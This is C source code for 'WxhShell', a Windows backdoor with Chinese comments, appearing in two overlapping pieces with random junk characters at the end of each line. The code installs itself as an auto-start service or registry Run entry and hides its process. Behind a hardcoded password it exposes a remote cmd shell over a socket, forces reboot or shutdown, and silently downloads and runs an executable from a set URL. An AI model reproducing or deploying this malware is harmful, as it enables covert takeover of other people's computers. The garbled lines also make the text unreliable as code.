    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J0<p4%Cf  
    if(Boot(SHUTDOWN)) \ a-CN>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); udqge?Tz  
    else { Bmr<O !  
    closesocket(wsh); +/'<z  
    ExitThread(0); '?/&n8J\  
    } Y\t_&px  
    break; ~5#)N{GbY  
    } sB*o)8  
  // 获取shell KjR4=9MD  
  case 's': { R ZcH+?7  
    CmdShell(wsh); s^C;>  
    closesocket(wsh); Gi$gtLtN h  
    ExitThread(0); EnCU4CU`  
    break; w6,*9(;$Pk  
  } :k"rhI  
  // 退出 6Dzs?P  
  case 'x': { Kmry=`=A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :I/  
    CloseIt(wsh); lCFU1 GHH  
    break; KRk~w]  
    } i:Mc(mW  
  // 离开 U)~#g'6:8  
  case 'q': { E%*AXkJ'dZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BjD&> gO)  
    closesocket(wsh); %Dyh:h   
    WSACleanup(); O)5 #Fcp(  
    exit(1); i:k-"  
    break; eY3=|RR  
        } <d! 6[,W;  
  } <9 },M  
  } YC)hX'A\  
5'9.np F)  
  // 提示信息 [:pl-_.C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DcU C,  
} Q&wYc{TUbm  
  }  ^@q#$/z  
+!$dO'0nt,  
  return; @zs1>\J7  
} `E;)`J8b  
AQn[*  
// shell模块句柄 M71R -B`-  
int CmdShell(SOCKET sock) (HSw%e  
{ ]PVt o\B=  
STARTUPINFO si; RIo'X@zb  
ZeroMemory(&si,sizeof(si)); 00qZw?%K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Iv1c4"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ohTd'+Lm  
PROCESS_INFORMATION ProcessInfo; 9RcM$[~  
char cmdline[]="cmd"; r /yHmEk&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lVT&+r~r  
  return 0; [D9:A  
} "i''Ui\H  
2lJZw@  
// 自身启动模式 {kG;."S+K  
int StartFromService(void) GiqBzV3"  
{ %#4 +!  
typedef struct 0%;M VMH  
{ W^|J/Y48  
  DWORD ExitStatus; #XL`S  
  DWORD PebBaseAddress; - #Jj-t_Fe  
  DWORD AffinityMask; ]c,l5u}A$  
  DWORD BasePriority; s<#N]mp'   
  ULONG UniqueProcessId; ~._ko  
  ULONG InheritedFromUniqueProcessId; D?J#u;h~f  
}   PROCESS_BASIC_INFORMATION; JP_kQ  
3 9yz~  
PROCNTQSIP NtQueryInformationProcess; %O Fj  
Avd *~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X=#It&m%s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AA_@\: w^  
T8mY#^sW_  
  HANDLE             hProcess; .SBc5KX  
  PROCESS_BASIC_INFORMATION pbi; jRwa0Px(  
mOSCkp{<e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hJ4S3b  
  if(NULL == hInst ) return 0; VB's  
U~hCn+0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pNSst_!>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L3g9b53\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $&Ac5Zo%}  
+qZc} 7rJF  
  if (!NtQueryInformationProcess) return 0; k)Zn>  
P_mi)@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T#Fn:6_=  
  if(!hProcess) return 0; Yim#Pq&_  
"p`o]$Wv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K~$35c3M  
YVJ+' A=|  
  CloseHandle(hProcess); }eI`Qg  
>z5Oy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b<8q 92F  
if(hProcess==NULL) return 0; >0 7shNX  
dGa@<hg  
HMODULE hMod; %/X2 l  
char procName[255]; }oV3EIH  
unsigned long cbNeeded; M-vC>u3Y  
bbO+%-(X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dUZ$wbV%h  
=}"R5  
  CloseHandle(hProcess); "W3W:vl!  
&6Ns7w6*z  
if(strstr(procName,"services")) return 1; // 以服务启动 q< b"M$  
HmFNE$k  
  return 0; // 注册表启动 l-Fmn/V  
} q'by;g*m  
([1=>Jw"  
// 主模块 aDXpkG0E  
int StartWxhshell(LPSTR lpCmdLine) # UjEY9"M  
{ .byc;9M%  
  SOCKET wsl; [:Xn6)qz  
BOOL val=TRUE; ` v>/  
  int port=0; eC.w?(RB  
  struct sockaddr_in door; i>WOYI9  
e{:86C!d)  
  if(wscfg.ws_autoins) Install(); '}@e5^oL  
AVU7WU{  
port=atoi(lpCmdLine); $m{{,&}k  
kGruo5A  
if(port<=0) port=wscfg.ws_port; h<GyplG  
wXP_]-  
  WSADATA data; /#@LRN<oCq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %;'~%\|dZM  
B%)zGTp6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q Xsfp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +BU0 6lLD  
  door.sin_family = AF_INET; ysL0hwir  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j-j'phK  
  door.sin_port = htons(port); RFhU#  
gYRqqV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |G>q:]+AV  
closesocket(wsl); 5s#R`o %Z  
return 1; sw[<VsxjR  
} fmtuFr^a1  
yY'gx|\  
  if(listen(wsl,2) == INVALID_SOCKET) { pb~Ps#"Zg  
closesocket(wsl); PkjT&e)  
return 1; is64)2F](  
} #)Ep(2  
  Wxhshell(wsl); PpW A f\  
  WSACleanup(); )~1.<((<  
nR(#F9  
return 0; mi*:S%;h  
XSD"/_xD  
} Fp wlV}:  
ZCj>MA  
// 以NT服务方式启动 *oKgP8CF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  =7*oC  
{ M4R%Gr,La  
DWORD   status = 0; e6Wl7&@6  
  DWORD   specificError = 0xfffffff; f S(^["*G  
6'S5sRA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YCtIeq%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `MN&(!&C*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .%|OGl ?  
  serviceStatus.dwWin32ExitCode     = 0; pHq{S;R2G  
  serviceStatus.dwServiceSpecificExitCode = 0; YhEiN. ~  
  serviceStatus.dwCheckPoint       = 0; =c :lS&B  
  serviceStatus.dwWaitHint       = 0; >l y&+3S  
!a.3OpQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W ]a7&S  
  if (hServiceStatusHandle==0) return; Ej-=y2j{g  
;JMOsn}8  
status = GetLastError(); /%2:+w  
  if (status!=NO_ERROR) \Sz4Gr0g3Z  
{ \Mobq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ---Ks0\V  
    serviceStatus.dwCheckPoint       = 0; aa%Yk"V @  
    serviceStatus.dwWaitHint       = 0; U@1#!ZZ6  
    serviceStatus.dwWin32ExitCode     = status; qpluk!  
    serviceStatus.dwServiceSpecificExitCode = specificError; \r:m({G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J[I"/sdk-  
    return; ,ivWVsN*]  
  } t't^E,E .@  
v'mJ~tz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZE5-i@1  
  serviceStatus.dwCheckPoint       = 0; -`<6=[QUO  
  serviceStatus.dwWaitHint       = 0; }dV9%0s!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uJ2C+$=Ul  
} \c5#\1<  
p{\qSPK  
// 处理NT服务事件,比如:启动、停止 ]w1BJZa36  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (ouRf;\6$8  
{ wz*)L (pP  
switch(fdwControl) |H3?ox*  
{ +z~ !#j4Q  
case SERVICE_CONTROL_STOP: o3kt0NuF,  
  serviceStatus.dwWin32ExitCode = 0; G_7ks]u-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m-~V+JU;x  
  serviceStatus.dwCheckPoint   = 0; CDwFVR'_Af  
  serviceStatus.dwWaitHint     = 0; F[Guy7?O  
  { eSQzjR*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EhmUX@k],  
  } s!nSE  
  return; F$"MFdc[  
case SERVICE_CONTROL_PAUSE: N]O{T_5-0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GN~[xXJU  
  break;  0jip::x  
case SERVICE_CONTROL_CONTINUE: Q"l"p:n%n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I_jM-/3b  
  break; RE(=! 8lGR  
case SERVICE_CONTROL_INTERROGATE: f4A4  
  break; $?CBX27AV  
}; qr<-eJf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UH1S_:6  
} &deZ  
0|K/=dh5+  
// 标准应用程序主函数 4EaS g#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .O@q5G  
{ !#_h2a  
o|p;6  
// 获取操作系统版本 KV) Hywl`  
OsIsNt=GetOsVer(); mTI\,x%<OC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i_jax)m%  
#NVF\  
  // 从命令行安装 =:v><  
  if(strpbrk(lpCmdLine,"iI")) Install(); VDb,$i.Z0  
8VAYIxRv  
  // 下载执行文件 T9U2j-lA?  
if(wscfg.ws_downexe) { E9Qd>o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D:RBq\8  
  WinExec(wscfg.ws_filenam,SW_HIDE); /z.7: <gZ(  
} {8*d;[X50  
[EW$7 se~  
if(!OsIsNt) { )$Dcrrj  
// 如果时win9x,隐藏进程并且设置为注册表启动 N c&i) qh  
HideProc(); .5#tB*H  
StartWxhshell(lpCmdLine); |R &3/bEr  
} uZ=UBir  
else b0zxT9  
  if(StartFromService()) U||w6:W5  
  // 以服务方式启动 7am/X.  
  StartServiceCtrlDispatcher(DispatchTable); >TQBRA;'  
else J4*:.8Ki  
  // 普通方式启动 w50Bq&/jX  
  StartWxhshell(lpCmdLine); fW4cHB 9|  
[iO$ c]!H  
return 0; *]E7}bqb  
} 95gsv\2  
wn A%Nh7  
3Q!J9t5dc  
/v;)H#;  
=========================================== >b!X&JU  
CL@h!h554_  
bsk=9K2_2t  
HHu7{,  
l:5CM[mZ  
9Sj:nn^/u  
" v ACsppa>#  
,GXfy9x7U  
#include <stdio.h> ZR01<V  
#include <string.h> R6WgA@Z|r  
#include <windows.h> ah!O&ECh  
#include <winsock2.h> >fZ/09&3  
#include <winsvc.h> \w0b"p  
#include <urlmon.h> wMPw/a;  
X\$W'^np  
#pragma comment (lib, "Ws2_32.lib") ;KZtW  
#pragma comment (lib, "urlmon.lib") fO|~Oz<S  
0@FM^ejA#  
#define MAX_USER   100 // 最大客户端连接数 :C:N]6_{SZ  
#define BUF_SOCK   200 // sock buffer >$S,>d_k`  
#define KEY_BUFF   255 // 输入 buffer yzM+28}L<I  
?od}~G4s#  
#define REBOOT     0   // 重启 C +?@iMh  
#define SHUTDOWN   1   // 关机 D8D!16_  
+^&v5[$R  
#define DEF_PORT   5000 // 监听端口 T m@1q!G  
3}#XA+Z  
#define REG_LEN     16   // 注册表键长度 b[[6X  
#define SVC_LEN     80   // NT服务名长度 ;iC'{S  
PVkN3J  
// 从dll定义API PqJ*   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =[)N6XV3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y!6:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,M/#Q6P0}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .dKRIFo  
yL3<X w|  
// wxhshell配置信息 7U[L\1zS  
struct WSCFG { | 8L`osg  
  int ws_port;         // 监听端口 %d[xr h  
  char ws_passstr[REG_LEN]; // 口令 rX>y>{w~  
  int ws_autoins;       // 安装标记, 1=yes 0=no Zqs-I8y  
  char ws_regname[REG_LEN]; // 注册表键名 a6k(O8Ank3  
  char ws_svcname[REG_LEN]; // 服务名 _9-D3_P[3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =u3@ Dhw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z/05 wB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3Gd&=IJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R,5$ 0_]|+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T;[c<gc/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e9_O/iN  
4@mXtA  
}; } @fu~V/  
M+R)P +  
// default Wxhshell configuration j.'"CU  
struct WSCFG wscfg={DEF_PORT, \`p~b(  
    "xuhuanlingzhe", cJWfLD>2_!  
    1, .iN*V|n  
    "Wxhshell", `i)ePiE  
    "Wxhshell", ?5YmE(v7  
            "WxhShell Service", Oc/_ T>  
    "Wrsky Windows CmdShell Service", }B '*8^S  
    "Please Input Your Password: ", Qhr]eu;z  
  1, F3 l^^ Mc  
  "http://www.wrsky.com/wxhshell.exe", dbUZGn~  
  "Wxhshell.exe" C.B}Py+   
    }; WKIiJ{@L  
.SV3<)  
// 消息定义模块 X@AkA9'fq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s^?sJUj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^YJ^+:D(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^RyTK|SQ  
char *msg_ws_ext="\n\rExit."; o`8+#+@f7  
char *msg_ws_end="\n\rQuit."; /e?ux~f|  
char *msg_ws_boot="\n\rReboot..."; fYQi#0drn  
char *msg_ws_poff="\n\rShutdown..."; i`nw"8  
char *msg_ws_down="\n\rSave to "; ryp$|?ckJ  
#Xw[i  
char *msg_ws_err="\n\rErr!"; +ZA\ M:^b  
char *msg_ws_ok="\n\rOK!"; 6BN(^y#-X  
kbT-Oz  2  
char ExeFile[MAX_PATH]; pdha" EV  
int nUser = 0; OUk5c$M(  
HANDLE handles[MAX_USER]; IZv, Wo  
int OsIsNt; s>``- ]3  
= 4WZr  
SERVICE_STATUS       serviceStatus; {ZM2WFpE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zu*G4?]~h  
e, 0I~:  
// 函数声明 6N+)LF}P b  
int Install(void); F4<2.V)#-  
int Uninstall(void); G1^!ej  
int DownloadFile(char *sURL, SOCKET wsh); %PdYv _5  
int Boot(int flag); MVv^KezD  
void HideProc(void); M@X#[w:  
int GetOsVer(void); ZUJOBjb` K  
int Wxhshell(SOCKET wsl); c2mt<DtWW  
void TalkWithClient(void *cs); Ru')X{]25  
int CmdShell(SOCKET sock); )zt4'b\)v  
int StartFromService(void); RrpF i'R  
int StartWxhshell(LPSTR lpCmdLine); "sx&8H"  
9w<Bm"G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u&_U CJCf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @OY-(cW  
0\ w[_H  
// 数据结构和表定义 *#^1rKGWK  
SERVICE_TABLE_ENTRY DispatchTable[] = qq_,"~  
{ ^`MDP`M;  
{wscfg.ws_svcname, NTServiceMain}, )9jQ_  
{NULL, NULL} / lM~K:  
}; jh&vq=P H  
C$ `Y[w  
// 自我安装 [_hhC  
int Install(void) [=F |^KL  
{ Jo$Dxa z  
  char svExeFile[MAX_PATH]; ;/q6^Nk3A  
  HKEY key; vl~   
  strcpy(svExeFile,ExeFile); `srZ#F5  
.) ;:K  
// 如果是win9x系统,修改注册表设为自启动 O:p649A  
if(!OsIsNt) { AX RNV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }/r%~cZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U*:'/.  
  RegCloseKey(key); l4reG:uYG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E(LE*J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vot+gCZ  
  RegCloseKey(key); %ys}Q!gR  
  return 0; @5G7bY7Nz  
    } y]4 `d  
  }  ly%B!P|  
} }z-  
else { BIf].RY  
j$oZIV7  
// 如果是NT以上系统,安装为系统服务 emPm^M5/K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7O^ S.(  
if (schSCManager!=0) Bic { H  
{ %<|KJb4?  
  SC_HANDLE schService = CreateService xF|*N<9(</  
  ( Z?' |9FM  
  schSCManager, ea>\.D-S  
  wscfg.ws_svcname, 1W<_5 j_  
  wscfg.ws_svcdisp, Z`c{LYP,y"  
  SERVICE_ALL_ACCESS, #de^~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -Ep6 .v  
  SERVICE_AUTO_START, aW$nNUVD  
  SERVICE_ERROR_NORMAL, Z x%@wH~  
  svExeFile, 4yv31QG$  
  NULL, RcP5].^T  
  NULL, iZ\z!tHR  
  NULL, -JK4-Hg  
  NULL, ?+=|{{l  
  NULL yvisoZX  
  ); j1+Y=@MA  
  if (schService!=0) zL8A?G)= M  
  { @2*6+w_Ae  
  CloseServiceHandle(schService); Kp8T;&<Iay  
  CloseServiceHandle(schSCManager); s2=X>,kz?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S9oGf  
  strcat(svExeFile,wscfg.ws_svcname); ]X|G+[Ujv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "]Td^Nxi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H H3  
  RegCloseKey(key); >{Z=cv/6o  
  return 0; +qf{ '|H  
    } hO@3-SRa,k  
  } yv4PK*  
  CloseServiceHandle(schSCManager); Asu"#sd  
} Lo9?,^S  
} Vnb#N4vR  
<U pjAuG8  
return 1; }h6z&:qA[?  
} Y g?{x@  
0Jh:6F  
// 自我卸载 Z"+!ayA7D  
int Uninstall(void) oF xVK  
{ k"{U}Y/}  
  HKEY key; CHI(\DXNs  
;g]+MLV9  
if(!OsIsNt) { r^^C9"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  +'.Q-  
  RegDeleteValue(key,wscfg.ws_regname); hj,x~^cS  
  RegCloseKey(key); F| Q#KwN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _I4sy=tYXK  
  RegDeleteValue(key,wscfg.ws_regname); q:.BY}X9  
  RegCloseKey(key); LWV`xCr8R  
  return 0; = g}yA=.  
  } =LnAMl#9  
} ]]3D` F}  
} -1JHhRr]  
else { $8r:&Iw  
A,qG*lv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B4aZ3.&W  
if (schSCManager!=0) 3/FB>w gt  
{ oD\+ 5[x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @CF4:NNHw  
  if (schService!=0)  ?~IZ{!  
  { */E{s?  
  if(DeleteService(schService)!=0) { fif<[Ax  
  CloseServiceHandle(schService); @1@WB ]mQQ  
  CloseServiceHandle(schSCManager); i>2_hn_UR  
  return 0; g"Bv!9*H  
  } !d(V7`8  
  CloseServiceHandle(schService); d*L'`BBsp  
  } idy:Jei}  
  CloseServiceHandle(schSCManager); y9)",G!  
} ^ BKr0~4A  
} sN2l[Ous  
vE(Hy&Q&  
return 1; +)S X  
} z, [ +  
{A UEVt  
// 从指定url下载文件 )K~nZLULY  
int DownloadFile(char *sURL, SOCKET wsh) ]mA?TwD  
{ YyIt-fPZ  
  HRESULT hr; %>TdTt  
char seps[]= "/"; `l#g`~L  
char *token; 8t%1x|!  
char *file; a0.XJR{T"  
char myURL[MAX_PATH]; mN02T@R-  
char myFILE[MAX_PATH]; za7wNe(s  
_wCSL.  
strcpy(myURL,sURL); HrGX-6`  
  token=strtok(myURL,seps); kZQ;\QL1}  
  while(token!=NULL) UhK,H   
  { GWKefH  
    file=token; v<1;1m  
  token=strtok(NULL,seps); NO ^(D+9  
  } :cTi$n  
qv\yQ&pj  
GetCurrentDirectory(MAX_PATH,myFILE); uE(w$2Wi  
strcat(myFILE, "\\"); 1CbC|q  
strcat(myFILE, file); whCv9)x  
  send(wsh,myFILE,strlen(myFILE),0); pG&.Ye]j  
send(wsh,"...",3,0); M .,|cx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2uIAnbW]M  
  if(hr==S_OK) FhGbQJ?[3  
return 0; Q*: Ow]  
else 14RL++  
return 1; pjFgIG2=9  
B|v fkX2f  
} n :P}K?lg  
?3#X5WT  
// 系统电源模块 srL,9)O C  
int Boot(int flag) xh0!H| R  
{ uypD`%pC  
  HANDLE hToken; LKa_ofY  
  TOKEN_PRIVILEGES tkp; P6Ei!t,>  
Dg`W{oj  
  if(OsIsNt) { ^^#A9AM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _wBPn6gg`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i ^#R iCeo  
    tkp.PrivilegeCount = 1; Y2Bu,/9^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _EP}el  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ',f[y:v;  
if(flag==REBOOT) { 6%TV X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) # V +e  
  return 0; zx27aZ[  
} 3?:}lY<,  
else { Eq t61O$x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <$E8T>U  
  return 0; M5]w U   
} qcqf9g  
  } R##O9BSI8Z  
  else { "2mVW_k  
if(flag==REBOOT) { F>OYZOC]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7DD ot_qb  
  return 0; kDsUKO p  
} #]rw@c  
else { i> ;G4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9 wc=B(a|  
  return 0; ~F WmT(S  
} y^ohns5{  
} j2+&B9 (  
)jg3`I@  
return 1; xfb%bkr  
} <T['J]k%  
q07>FW R  
// win9x进程隐藏模块 ZP1EO Z  
void HideProc(void) ws=y*7$y  
{ Mvux=Ws  
H_9~gi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tZJKB1#WbP  
  if ( hKernel != NULL ) 1*Z}M%  
  { .$Y[>9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^-DK<jZ^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 46b.= }  
    FreeLibrary(hKernel); \>+gZc]an  
  } =Oy,SX  
rS=6d6@  
return; B$)KZR(u  
} `+U-oqs  
Ab2VF;z :  
// 获取操作系统版本 _v-sb(* J  
int GetOsVer(void) jsuQ R  
{ r_)*/  
  OSVERSIONINFO winfo; GFvOrRlP\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BP`UB  
  GetVersionEx(&winfo); yY}`G-)g~*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1UOFTI2S|  
  return 1; bcQ$S;U)  
  else U9Sp$$L  
  return 0; dG1qrh9_-  
} Rc u/ @j{O  
{|qz>  
// 客户端句柄模块 N7|ctO  
int Wxhshell(SOCKET wsl) 6uDNqq  
{ s;>jy/o0 s  
  SOCKET wsh; kM.zX|_  
  struct sockaddr_in client; /Z^+K  
  DWORD myID; Q~jUZ-qN  
o^Ms(?K%t  
  while(nUser<MAX_USER) L;Nm"[ `  
{ XWkYhTaY  
  int nSize=sizeof(client); HR4^+x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VP[ J#TPU  
  if(wsh==INVALID_SOCKET) return 1; zzM 'uo  
/MA4Er r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .2`S07Z  
if(handles[nUser]==0) s+aeP  
  closesocket(wsh); `Do-!G+W  
else <MoWS9s!yb  
  nUser++; |',Gy\Sj  
  } B7cXbUAQs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WO|#`HM2  
a4c~ThbI  
  return 0; *edB3!!  
} \ZXH(N*>2t  
b?y3m +V`  
// 关闭 socket +g(QF   
void CloseIt(SOCKET wsh) >xT8[  
{ -e30!A  
closesocket(wsh); tv5SQ+AI3  
nUser--; L.>`;`dmY  
ExitThread(0); ZZ#S\*  
} g^=p)h3  
p9 %7h.  
// 客户端请求句柄 ='a$>JVJ5  
void TalkWithClient(void *cs) XSXS;Fh)  
{ ENygD  
66v6do7  
  SOCKET wsh=(SOCKET)cs; /mmC qP  
  char pwd[SVC_LEN]; |[8&5[);  
  char cmd[KEY_BUFF]; "Q ^Ck7  
char chr[1]; '(;`t1V8k  
int i,j; rlgp1>89  
-Zkl\A$>  
  while (nUser < MAX_USER) { G >bQlZG  
LXr nAt  
if(wscfg.ws_passstr) { JW (.,Ztm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fs\l*nBig  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g$~ktr+%  
  //ZeroMemory(pwd,KEY_BUFF); Nw8lg*t"  
      i=0; =j6f/8   
  while(i<SVC_LEN) { Dr&2q X!  
c5pF?kFaD  
  // 设置超时 &0~E+ 9b  
  fd_set FdRead; 8ex{N3  
  struct timeval TimeOut; Hr:WE+'  
  FD_ZERO(&FdRead); LNtBYdB`pK  
  FD_SET(wsh,&FdRead); iCnKQG  
  TimeOut.tv_sec=8; >HXT:0  
  TimeOut.tv_usec=0; 3 cu`U`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >k5nU^|B1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ab/gY$l  
jUYb8:B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); # 2s$dI  
  pwd=chr[0]; K08xiMjl  
  if(chr[0]==0xd || chr[0]==0xa) { 5$/ED3mcK  
  pwd=0; ,,OO2EgZ`  
  break; pri=;I(2A  
  } -r7*C :E  
  i++; K} LmU{/t/  
    } Pd6p)zj  
WL:CBE#  
  // 如果是非法用户,关闭 socket pO[ @2tF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x[zt(kC0+  
} D:4Iex9$F"  
(w}iEm\b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )[i0~o[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W$=Ad *  
kZfa8w L]P  
while(1) { -A^18r  
yHsmX2s  
  ZeroMemory(cmd,KEY_BUFF); ,3=|a|p  
},lHa!<^  
      // 自动支持客户端 telnet标准   8>%:MS"  
  j=0; $hXhq*5|c  
  while(j<KEY_BUFF) { PRg^E4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &'Pwz  
  cmd[j]=chr[0]; 2r4owB?  
  if(chr[0]==0xa || chr[0]==0xd) { h\k@7wgu  
  cmd[j]=0; e0Zwhz,  
  break; ihS;q6ln  
  } wylbs@  
  j++; qj/ pd 7\  
    } ?RNm8,M  
&NM.}f  
  // 下载文件 DryN}EMOKD  
  if(strstr(cmd,"http://")) { MEf`&<t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M{w[hV  
  if(DownloadFile(cmd,wsh)) `lygJI?H+{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *:L-/Q)i  
  else Q]?r&%Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;6P #V`u  
  } 6aRPm%  
  else { X:PB }  
Z<jio  
    switch(cmd[0]) { M$iDaEu-  
